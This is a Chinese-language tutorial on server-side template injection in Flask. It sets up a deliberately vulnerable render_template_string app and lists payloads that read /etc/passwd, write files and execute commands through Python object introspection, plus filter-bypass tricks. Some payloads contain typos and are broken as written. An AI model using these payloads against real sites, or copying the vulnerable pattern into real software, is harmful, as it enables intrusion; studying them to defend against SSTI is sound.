SSTI,即服务端模板注入,起因是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,从而导致各种各样的问题。
首先,我们先写一个简单的flask(说起SSTI就想到flask框架),由于我用的是pycharm,所以可以直接创建项目。
app.py代码如下:
from flask import Flask#flask需要自己安装
from flask import render_template
from flask import request
app = Flask(__name__)
@app.route('/',methods=['GET','POST'])
def hello_world():
return render_template("index.html", title='Home', user=request.args.get("key"))
if __name__ == '__main__':
app.run()
并创建文件夹如下:
在templates中写入index.html文件如下:(templates文件夹为渲染文件所在位置)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>This is a test</title>
</head>
<body>
<h1>hello.{{ user }}</h1>
</body>
</html>
此时运行便可得到
打开127.0.0.1:5000,传入参数key={{2*3}}
可以看到:
此时并没有执行,因为模板渲染已经不可控了。但是,当我们把app.py中
def hello_world():
return render_template("index.html", title='Home', user=request.args.get("key"))
换成
def hello_world():
code = request.args.get('id')
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(code)
return render_template_string(template)
此时,问题就大了,因为它直接将变量的内容当作字符串进行输出,就会造成下面的结果:
可以看见,它直接将id算出来了。我们就可以进行模板注入。
这里我们需要知道python中一些特殊的类:
__class__#返回调用的参数类型。
__base__#返回基类
__mro__#允许我们在当前Python环境下追溯继承树
__subclasses__()#返回子类
在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法(object类是所有类的基类),比如最简单的payload"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('dir').read()
就是利用object类的第134个子类(os._wrap_close类)并将其初始化,再利用全局变量来达到命令执行的目的。
"".__class__
返回的是<class 'str'>
"".__class__.bases__
返回的是(<class 'object'>,)
"".__class__.__bases__[0].__subclasses__
返回的是所有类
"".__class__.__bases__[0].__subclasses__[133]
返回的是<class 'os._wrap_close'>
__init__
用来初始化类
__globals__
是全局来查找所有的方法及变量及参数
用__globals__['popen']
来调用popen方法
下面是一些payload:
读/写文件:
[].__class__.bases__[0].__subclasses__()[40]('/etc/passwd').read()
''.__class__.bases__[0].__subclasses__()[40]('/var/www/html').write('test')
命令执行:
"".__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read()
"".__class__.bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()
还有一些绕过小技巧:
- 过滤了关键字,可以用拼接法,比如过滤了
globals
,则可以用'glo'+'bals'
。 - 过滤了中括号,可以用
__getitem__
,原来为:''.__class__.__mro__[2]
可换成''.__class__.__mro__.getitem__(2)
- 过滤
{{}}
,可用{%%}
代替。
还有其他技巧和payload,可以看p牛的:https://p0sec.net/index.php/archives/120/
参考文章:
https://xz.aliyun.com/t/3679
https://www.cnblogs.com/hackxf/p/10480071.html